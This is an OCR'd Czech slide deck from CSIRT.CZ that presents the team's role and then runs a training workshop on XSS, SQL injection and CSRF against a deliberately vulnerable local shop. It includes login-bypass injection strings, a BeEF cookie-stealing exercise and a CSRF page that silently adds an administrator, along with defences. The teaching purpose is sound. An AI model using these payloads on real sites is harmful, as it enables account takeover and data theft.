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CSIRT.CZ

e CSIRT, narodni CSIRT, vladni CSIRT
e CSIRT.CZ - Narodni CSIRT Ceské republiky

 Zalozen v ramci plneni grantu ,Kyberneticke
hrozby z hlediska bezpecnostnich zajmu Ceske
republiky“ (2007 — 2010)

e \ letech 2008 — 2010 provozovan sdruzenim
CESNET

e Memorandum mezi MV CR a CZ.NIC ze dne 9.
12. 2010
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CSIRT.CZ

e CZ.NIC provozuje pracoviste CSIRT.CZ od 1. 1.
2011

e Status ,akreditovany” u TI
e 2011 — kyberneticka bezpe&nost v gesci NBU

* Od 1. 4. 2012 provoz na zaklade memoranda s
NBU

e https://www.csirt.cz/files/csirt/Memorandum_nb
u.pdf
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Role CSIRT.CZ

e Poskytovani sluzeb v oblasti bezpecCnosti

e osveta, skoleni, prednasky
e incident response
e proaktivni sluzby

e Slouzi jako tym typu ,last resort” pro komercni a
akademickou sféeru

e Nema vykonné pravomoci

e Neumi nic ,vypnout”
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Role CSIRT.CZ

e Spoluprace

e (mezi)narodni
 Pracovni skupina CSIRT.CZ

- ISP, provozovatele sluzeb, banky, bezpecnostni slozky,
NIX.CZ, CZ.NIC, CESNET, CERT/CSIRT tymy, CTU,
UOQOU
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Incident response

e Reseni a koordinace fedeni bezpe&nostnich incident

« vesdkeré adresové rozsahy pfidélené do CR

e adresa pro hlaseni bezpecnostnich incidentu =

abuse@csirt.cz

e Kdy je Bl hlasen tymu CSIRT.CZ:

kdyz neni jasné, kdo je za incident zodpovedny
nulova reakce ze strany adresata stiznosti

neni snaha incident resit

velmi zavazny incident

kdyz se objevi podezreni, ze by urCita mnozina siti/zarizeni
mohla byt cilem utoku
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Incident response

e Moznosti a prostredky CSIRT.CZ pri reseni BI:

e pozitivni motivace :-)

e spoluprace, komunikace, vazby
e existujici legislativa

e znalost prostredi, kontaktu

e zkusenosti
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Osveéta

e Aktualne z bezpecnosti

e Zamereni na uzivatele i administratory

e Hlavne praktickeé informace

- Nové zranitelnosti
- Nové utoky(phishing, Ceska posta, atd.)
- Hardening

e Psani odbornych pfispévku do médii
e \/ystupovani na konferencich

e Skoleni pro PCR a dal$i ufady
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Proaktivita

e Sledovani riznych zdroju dat

e MDM (Malicious Domain Manager)

- Opensource

- Ruzné zdroje informaci(phishtank,
malwarepatrol,atd.)

- Upozorinovani konkrétnich drziteld doménovych
jmen na problem na jejich webove strance

- Od spusteni v kvetnu 2011 6256 domeén,83747 URL
o IDS.CZ
- Detekce anomalii v siti CESNET?2
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Proaktivita

e Sledovani dalSich zdroju a internetovych for,
IRC, twitter, atd.

e |nformace o chystanych utocich, o uskutecnenych
prunicich a dalSi informace ze svéta hackeru

e Dalsi jednorazove akce

- random porty DNS
- Industrial Control Systems (ICS)
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Skener webu

e Sluzba cili primarneé na zakazniky z rad
neziskovych spolecnosti a statniho sektoru

e Je poskytovana zcela zdarma

e Web je dnes neco jako vykladni skrin
spolecnosti

e Otestujeme webové stranky na nejcastejsi
zranitelnosti, mozno predejit velkym ztratam a
vypadkum, pripadné poskozeni dobrého jména
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Skener webu

e \/ystupem zprava obsahujici popis a
ohodnoceni zranitelnosti a rady na jejich reseni

e Peclivé hlidame kdo o sluzbu zada
(opravnenost zadatele)

e Vice informaci lze ziskat na

e podpora@skenerwebu.cz
e https://www.skenerwebu.cz/
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Zranitelnosti webovych aplikaci(XSS)

* XSS

e Kvuli neosetfenym vstupum je utoCnik schopen
podstréit do stranek svuj vlastni kod
(javascriptovy,html, VBSript)

e Persistent (Stored)

- Natrvalo ulozeno v dané aplikaci
e Non-persistent (Reflected)

- Predava se prostrednictvim URL

I o 8 1 | [ of Fivanaes



Non-persistent XSS

e Nastava tam, kde uzivatel predava serveru
nejaka data, ktera jsou pak zobrazena

e Formular pro vyhledavani

e Uzivatel zada slovo ,automobil®

e Server vrati stranku, kde je napsano ,Hledany vyraz
automobil byl nalezen v celkem trech Clancich”

e Co kdyz uzivatel zada
automobil<script>nebezpecny kod</script>"?
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Non-persistent XSS

e Utok je jiny v pfipadé poZzadavku GET a POST
e GET

e Parametry od uzivatele jsou predavany v URL

e Http://www.mujshop.w/heledej.php?dotaz=automobil
<script>nebezpecny kod</script>

e POST

e Parametry se predavaji v tele HT TP pozadavku

o Utoénik musi pouzit mezi¢lanek, kde ma pfipravenu
stranku, ktera odesle data za uzivatele.
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Persistent XSS

e Utoénik zada javascript do neoSetfeného
vstupu na strance, napfriklad diskuzni forum

e Ahoj, co si myslite o tom novem aute skodovky?
<script>nebezpecnykod</script>

e Skript je ulozen trvale na strane serveru

e Pri kazdem nacteni stranky s prispevkem
utocnika se nacte a vykona take jeho skript
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Zranitelnosti webovych aplikaci(XSS)

e Mozné zneuziti:
e Spusténi zakerného kodu
e Presmerovani na nebezpecny server
e Zneuziti uzivatelskych opravneni
e Manipulace s obsahem stranky
e Unos sezeni
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XSS

e Nastroje usnadnujici nalezeni a zneuziti XSS
zranitelnosti

e Netsparker, Nessus, Skipfish, W3af
e BeEF, XSS Shell, Blackhole
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XSS

e Obrana

 Nahrazeni potencialné nebezpecnych znaku
pomoci HTML entit (< &lt; | > &gt; | &quot;)
- V PHP funkci htmlspecialchars()

- Pozor na uzivatelsky vstup v hodnotée atributu
nékterého z prvku

- V defaultnim nastaveni nenahrazuje znak apostrofu -
pro potlaceni uvozovek s parametrem
ENT_QUOTES

e Na strane uzivatele
- NoScrlpt nastavenl prohlizecCe
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Priprava pro workshop

e V Kali linuxu spustte shell
e Zadejte cd /opt
e Stahnete potrebné soubory

e wget https://secure.nic.cz/files/pbasta/
mladeholky.zip
https://secure.nic.cz/files/pbasta/shop.sql
https://secure.nic.cz/files/pbasta/shop.zip
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Priprava pro workshop
e unzip -d /var/www/ shop.zip

e unzip -d /var/www/ mladeholky.zip

e /etc/init.d/mysql start

e mysql -uroot -e "create database shop”

e mysql -u root shop < shop.sql

e rm /var/www/index.html

e echo "127.0.0.1 utocnik.w" >> /etc/hosts
e echo "127.0.0.1 mujshop.w" >> /etc/hosts

e /etc/init.d/apache?2 start
e CZNIC N



Cviceni XSS

e Spustte prikazy:
e /etc/init.d/beef-xss start
e \/ prohlizecCi otevrete tyto URL

e utocnik.w:3000/ui/panel

- User:beef
- Pass:beef

e mujshop.w/shop/
- Provedte registraci, v poli Firma zadejte:
cokoliv<script type=text/javascript
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Cviceni XSS

e \ jiné zalozce otevireme URL

e http://mujshop.w/shop/administrace

e User:admin
e Pass:123456

e Prepneme se na zalozku Beef Control Panel
e Mezi on-line prohlizecCi nyni vidime sami sebe

e \lyzkousejte v zalozce commands/social
engineering polozku pretty theft a v
Browser/HookedDomain polozku Get Cookie
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Zranitelnosti webovych
aplikaci(SQL.i)

e SQL injection

e /Zpusobeno neoSetfenymi vstupy od uzivatele
e Vykonani vlastniho pozmeneného SQL dotazu

o Kradez dat (véetné hesel, Ci jejich otisku), zména
obsahu stranek(defacement, ceny v e-shopu,atd.),
smazani databaze, spusteni vlastniho kddu na
serveru...
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Zdrojovy kod nachylny k utoku:

$select="SELECT name, funkce FROH admins WHERE name='$myu59rname' and paﬁﬁwurd='$myp355wurd'";
if{mysql num rows{$data = mysql query{$select, $this->1link}) == @)

return B8;

else

{

% SESSION['login’] mysql _result{$data, A, 8);

4 SESSIOH['prava‘'] = 1;

4 SESSION['funkce'] = mysql_result({3data, 8, 1);

return 1;

?

Normalni dotaz:

fselect="SELECT name, funkce FROM admins WHERE name="admin’ and password='123456"";

Utocnik zada username admin a heslo 'or 1=1 #

§select="SELECT name, funkce FROM admins WHERE name="admin' and password="" or 1=1 #"";
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SQLI

e Obrana

e Na strane aplikace
- OSetreni vstupu od uZzivatele escapovanim znaku
("=>\,"=>\" \ => )
- \' apostrof nebude databazi interpretovan jako znak

uvozujici konec retezce
- V PHP funkce mysqli_real escape string()
 Na strane databaze
- Vhodné nastaveni prav uzivatele

» DROP TABLE, DATABASE?
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Zdrojovy kod nachylny k utoku:

$select="SELECT name, funkce FROH admins WHERE name='$myu59rname' and paﬁﬁwurd='$myp355wurd'";

if{mysql num rows{$data = mysql query{$select, $this->1link}) == @)
return B8;

else
{

% SESSION['login’] mysql _result{$data, A, 8);
4 SESSIOH['prava‘'] = 1;

4 SESSION['funkce'] = mysql_result({3data, 8, 1);
return 1;

?

Normalni dotaz:

fselect="SELECT name, funkce FROM admins WHERE name="admin’ and password='123456"";

Utocnik zada username admin a heslo 'or 1=1 #

§select="SELECT name, funkce FROM admins WHERE name="admin' and password="" or 1=1 #"";

fselect="SELECT name, funkce FROM admins WHERE name="admin’ and password="%" or 1=1 #'";

§select="SELECT name, funkce FROM admins WHERE name="admin' and password=" or 1=1 #"";

Lot e o CZMNICIESE



Cviceni SQLi

e Otevrete URL mujshop.w/shop/administrace
e Prihlaste se jako admin s heslem 123456

e Odhlaste se a zkuste se prihlasit se Spatnym
heslem

 Nyni se zkuste prihlasit jako

e admin' # s libovolnym heslem
e Odhlaste se
e admin s heslem 'or 1=1 #
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CSRF (Cross Site Request Forgery)

e \/elmi rozSirena zranitelnost

e Odeslani http pozadavku z jedne webove
aplikace do jiné pod identitou obéti (formulare)

e Obet musi byt prinlasena

e Obet tak muze nevedomky prostrednictvim
podvrzené stranky napriklad:

e pridat novy administratorsky ucet webove aplikace

e ve webmail aplikaci muze nastavit posilani kopii e-
mailu na adresu utoCnika
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CSRF

e Odesilani pozadavku pomoci metody GET

e Pfiprava URL dle oCekavanych parametru, napfr.

www.mujmail.cz/changeredir?params=hacker@seznam.cz

e Odesilani pozadavku pomoci metody POST

e Utoénik pFipravi specialni webovou stranku s pro
obét lakavym obsahem, napr ji link podstrcCi treba s
tim, ze jsou tam nejaké nevhodné fotky obéti
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CSRF

e Do stranky je pomoci html tagu iframe vlozena dalsi
stranka, ktera je vlastne predpripravenym
formularem, kde jsou jiz vyplnéna vsechna
pozadovana pole

e Kdyz obét vstoupi na pripravenou stranku,
javascript se na pozadi postara o odeslani
formulare
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CSRF

e Ochrana

e Sledovani HTTP hlaviCky referer
- Muze omezovat Cast uzivatelu

e Sledovani HTTP hlavi¢ky Origin
- Omezeni pro ¢ast uzivatelu

e Generovani tokenu
- Nejlepsi varianta
- Lze obejit pomoci clickjackingu

- Vhodné kombinovat s hlavickou X-FRAME-
OPTIONS
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Labs CSRF

e \/ prohlizedi Firefox(lceweasel) otevieme
nastroje/spravce doplinktu a nechame vyhledat
,web developer” a nainstalujeme jej

e Restartujeme prohlizecC

e \/ prikazove radce zadame

vi /var/www/mladeholky/form.html

e \/ prohlizeCi otevieme adresu

http://mujshop.w/shop/administrace
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Labs CSRF

e Prinlasime se jako ,admin” ,123456"
e \/lybereme polozku pridat administratora

e V liste doplnku web developer vybereme
polozku Formulare a v ni zobrazit detaily
formulare

e Porovnejte zobrazene prvky s obsahem
souboru form.html pripraveneho utoCnikem

e Nyni v administratorskem rozhrani shopu
kliknete na polozku administrator
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Labs CSRF

e \/Simnete si, ze je v aplikaci jediny administrator

 Nyni otevrete URL http://utocnik.w/mladeholky

e \ratte se do zalozky s eshopem a znovu
kliknete na polozku Zobrazit administratory

 Nyni jsou jiz v aplikaci dva administrator
e Aplikaci vi ukonCime zadanim znaku :q a enter.
 Nyni otevieme soubor index.html

vi /var/www/mladeholky/index.html
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Labs CSRF

e Zmente u polozky opacity hodnotu z nuly na
jedna a polozky height="1" width="1" nastavte
na 1000.

e Ulozte pomoci sekvence znaku :wq a enter

e Obnovte stranku http://utocnik.w/mladeholky/
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Kde se dozvedet vice?

e Na Skolenich v akademii CZ.NIC
e https://akademie.nic.cz/

e Svobodna aplikacni bezpecnost

e Skoleni zamé&Fené na zranitelnosti webovych
aplikaci uvedené v OWASP Top Ten

e BezpecCnost prakticky

e Skoleni zamé&fené na riizné vektory utoku

e Buffer overflow, Teensy, prolamovani wi-fi siti,
louskani hesel, atd.
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Dekuji za pozornost

Pavel Basta ¢ pavel.basta@nic.cz
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